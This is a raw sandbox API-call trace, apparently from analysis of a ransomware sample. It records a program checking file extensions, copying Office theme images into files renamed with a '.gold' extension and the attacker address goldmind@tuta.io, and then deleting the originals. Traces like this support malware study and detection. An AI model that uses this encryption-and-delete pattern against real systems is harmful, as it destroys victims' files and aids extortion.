lstrlenW (lpString=".xlsx") returned 5 [0043.229] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0043.229] lstrlenW (lpString=".ppt") returned 4 [0043.229] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0043.229] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0043.229] lstrlenW (lpString=".zip") returned 4 [0043.229] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0043.229] lstrlenW (lpString=".rar") returned 4 [0043.229] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0043.229] lstrlenW (lpString=".bz2") returned 4 [0043.229] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0043.229] lstrlenW (lpString=".7z") returned 3 [0043.229] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0043.229] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0043.229] lstrlenW (lpString=".dbf") returned 4 [0043.229] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0043.229] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0043.229] lstrlenW (lpString=".1cd") returned 4 [0043.229] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0043.229] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0043.229] lstrlenW (lpString=".jpg") returned 4 [0043.229] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0043.230] lstrcmpiW (lpString1=".PNG", lpString2=".gold") returned 1 [0043.230] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0043.230] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0043.230] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=19525) returned 1 [0043.230] CloseHandle (hObject=0x20c) returned 1 [0043.230] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png")) returned 0x20 [0043.230] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0043.230] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0043.231] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.231] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.231] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0043.231] GetLastError () returned 0x0 [0043.231] ReadFile (in: hFile=0x20c, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x4c45, lpOverlapped=0x0) returned 1 [0043.232] WriteFile (in: hFile=0x190, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x4c50, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x4c50, lpOverlapped=0x0) returned 1 [0043.233] ReadFile (in: hFile=0x20c, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0043.233] WriteFile (in: hFile=0x190, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xec, lpOverlapped=0x0) returned 1 [0043.233] SetEndOfFile (hFile=0x190) returned 1 [0043.234] CloseHandle (hObject=0x190) returned 1 [0043.234] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.234] SetEndOfFile (hFile=0x20c) returned 1 [0043.234] CloseHandle (hObject=0x20c) returned 1 [0043.234] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0043.235] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png")) returned 1 [0043.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0043.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0043.235] lstrlenW (lpString=".doc") returned 4 [0043.235] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0043.235] lstrlenW (lpString=".docx") returned 5 [0043.235] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0043.235] lstrlenW (lpString=".pdf") returned 4 [0043.235] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0043.235] lstrlenW (lpString=".xls") returned 4 [0043.235] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0043.235] lstrlenW (lpString=".xlsx") returned 5 [0043.235] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0043.235] lstrlenW (lpString=".ppt") returned 4 [0043.235] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0043.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0043.235] lstrlenW (lpString=".zip") returned 4 [0043.235] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0043.235] lstrlenW (lpString=".rar") returned 4 [0043.235] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0043.235] lstrlenW (lpString=".bz2") returned 4 [0043.235] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0043.235] lstrlenW (lpString=".7z") returned 3 [0043.235] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0043.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0043.235] lstrlenW (lpString=".dbf") returned 4 [0043.235] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0043.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0043.235] lstrlenW (lpString=".1cd") returned 4 [0043.235] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0043.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0043.235] lstrlenW (lpString=".jpg") returned 4 [0043.235] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0043.236] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0043.236] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0043.236] lstrlenW (lpString=".doc") returned 4 [0043.236] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0043.236] lstrlenW (lpString=".docx") returned 5 [0043.236] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0043.236] lstrlenW (lpString=".pdf") returned 4 [0043.236] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0043.236] lstrlenW (lpString=".xls") returned 4 [0043.236] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0043.236] lstrlenW (lpString=".xlsx") returned 5 [0043.236] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0043.236] lstrlenW (lpString=".ppt") returned 4 [0043.236] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0043.236] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0043.236] lstrlenW (lpString=".zip") returned 4 [0043.236] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0043.236] lstrlenW (lpString=".rar") returned 4 [0043.236] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0043.236] lstrlenW (lpString=".bz2") returned 4 [0043.236] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0043.236] lstrlenW (lpString=".7z") returned 3 [0043.236] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0043.236] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0043.236] lstrlenW (lpString=".dbf") returned 4 [0043.236] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0043.236] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0043.236] lstrlenW (lpString=".1cd") returned 4 [0043.236] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0043.236] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0043.236] lstrlenW (lpString=".jpg") returned 4 [0043.236] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0043.236] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0043.236] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0043.236] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0043.237] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=1737) returned 1 [0043.237] CloseHandle (hObject=0x20c) returned 1 [0043.237] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif")) returned 0x20 [0043.237] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0043.237] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0043.237] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.237] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.237] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0043.239] GetLastError () returned 0x0 [0043.239] ReadFile (in: hFile=0x20c, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x6c9, lpOverlapped=0x0) returned 1 [0043.240] WriteFile (in: hFile=0x204, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x6d0, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x6d0, lpOverlapped=0x0) returned 1 [0043.241] ReadFile (in: hFile=0x20c, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0043.241] WriteFile (in: hFile=0x204, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xea, lpOverlapped=0x0) returned 1 [0043.241] SetEndOfFile (hFile=0x204) returned 1 [0043.241] CloseHandle (hObject=0x204) returned 1 [0043.241] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.241] SetEndOfFile (hFile=0x20c) returned 1 [0043.242] CloseHandle (hObject=0x20c) returned 1 [0043.242] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0043.242] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif")) returned 1 [0043.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0043.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0043.242] lstrlenW (lpString=".doc") returned 4 [0043.242] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0043.242] lstrlenW (lpString=".docx") returned 5 [0043.242] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0043.242] lstrlenW (lpString=".pdf") returned 4 [0043.242] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0043.243] lstrlenW (lpString=".xls") returned 4 [0043.243] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0043.243] lstrlenW (lpString=".xlsx") returned 5 [0043.243] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0043.243] lstrlenW (lpString=".ppt") returned 4 [0043.243] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0043.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0043.243] lstrlenW (lpString=".zip") returned 4 [0043.243] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0043.243] lstrlenW (lpString=".rar") returned 4 [0043.243] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0043.243] lstrlenW (lpString=".bz2") returned 4 [0043.243] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0043.243] lstrlenW (lpString=".7z") returned 3 [0043.243] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0043.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0043.243] lstrlenW (lpString=".dbf") returned 4 [0043.243] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0043.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0043.243] lstrlenW (lpString=".1cd") returned 4 [0043.243] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0043.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0043.243] lstrlenW (lpString=".jpg") returned 4 [0043.243] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0043.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0043.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0043.243] lstrlenW (lpString=".doc") returned 4 [0043.243] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0043.243] lstrlenW (lpString=".docx") returned 5 [0043.243] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0043.243] lstrlenW (lpString=".pdf") returned 4 [0043.243] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0043.243] lstrlenW (lpString=".xls") returned 4 [0043.243] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0043.243] lstrlenW (lpString=".xlsx") returned 5 [0043.243] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0043.243] lstrlenW (lpString=".ppt") returned 4 [0043.243] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0043.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0043.243] lstrlenW (lpString=".zip") returned 4 [0043.243] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0043.243] lstrlenW (lpString=".rar") returned 4 [0043.243] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0043.243] lstrlenW (lpString=".bz2") returned 4 [0043.243] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0043.243] lstrlenW (lpString=".7z") returned 3 [0043.243] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0043.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0043.243] lstrlenW (lpString=".dbf") returned 4 [0043.243] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0043.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0043.243] lstrlenW (lpString=".1cd") returned 4 [0043.243] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0043.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0043.243] lstrlenW (lpString=".jpg") returned 4 [0043.243] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0043.244] lstrcmpiW (lpString1=".PNG", lpString2=".gold") returned 1 [0043.244] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0043.244] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0043.244] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=33479) returned 1 [0043.244] CloseHandle (hObject=0x20c) returned 1 [0043.244] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png")) returned 0x20 [0043.244] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0043.244] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0043.244] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.244] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.244] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0043.245] GetLastError () returned 0x0 [0043.245] ReadFile (in: hFile=0x20c, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x82c7, lpOverlapped=0x0) returned 1 [0043.246] WriteFile (in: hFile=0x204, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x82d0, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x82d0, lpOverlapped=0x0) returned 1 [0043.247] ReadFile (in: hFile=0x20c, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0043.247] WriteFile (in: hFile=0x204, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xec, lpOverlapped=0x0) returned 1 [0043.248] SetEndOfFile (hFile=0x204) returned 1 [0043.248] CloseHandle (hObject=0x204) returned 1 [0043.248] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.248] SetEndOfFile (hFile=0x20c) returned 1 [0043.248] CloseHandle (hObject=0x20c) returned 1 [0043.249] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0043.249] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png")) returned 1 [0043.249] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0043.249] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0043.249] lstrlenW (lpString=".doc") returned 4 [0043.249] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0043.249] lstrlenW (lpString=".docx") returned 5 [0043.249] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0043.249] lstrlenW (lpString=".pdf") returned 4 [0043.249] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0043.249] lstrlenW (lpString=".xls") returned 4 [0043.249] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0043.249] lstrlenW (lpString=".xlsx") returned 5 [0043.249] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0043.249] lstrlenW (lpString=".ppt") returned 4 [0043.249] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0043.249] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0043.249] lstrlenW (lpString=".zip") returned 4 [0043.249] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0043.249] lstrlenW (lpString=".rar") returned 4 [0043.249] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0043.249] lstrlenW (lpString=".bz2") returned 4 [0043.249] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0043.249] lstrlenW (lpString=".7z") returned 3 [0043.249] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0043.249] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0043.249] lstrlenW (lpString=".dbf") returned 4 [0043.249] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0043.249] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0043.249] lstrlenW (lpString=".1cd") returned 4 [0043.250] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0043.250] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0043.250] lstrlenW (lpString=".jpg") returned 4 [0043.250] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0043.250] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0043.250] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0043.250] lstrlenW (lpString=".doc") returned 4 [0043.250] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0043.250] lstrlenW (lpString=".docx") returned 5 [0043.250] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0043.250] lstrlenW (lpString=".pdf") returned 4 [0043.250] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0043.250] lstrlenW (lpString=".xls") returned 4 [0043.250] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0043.250] lstrlenW (lpString=".xlsx") 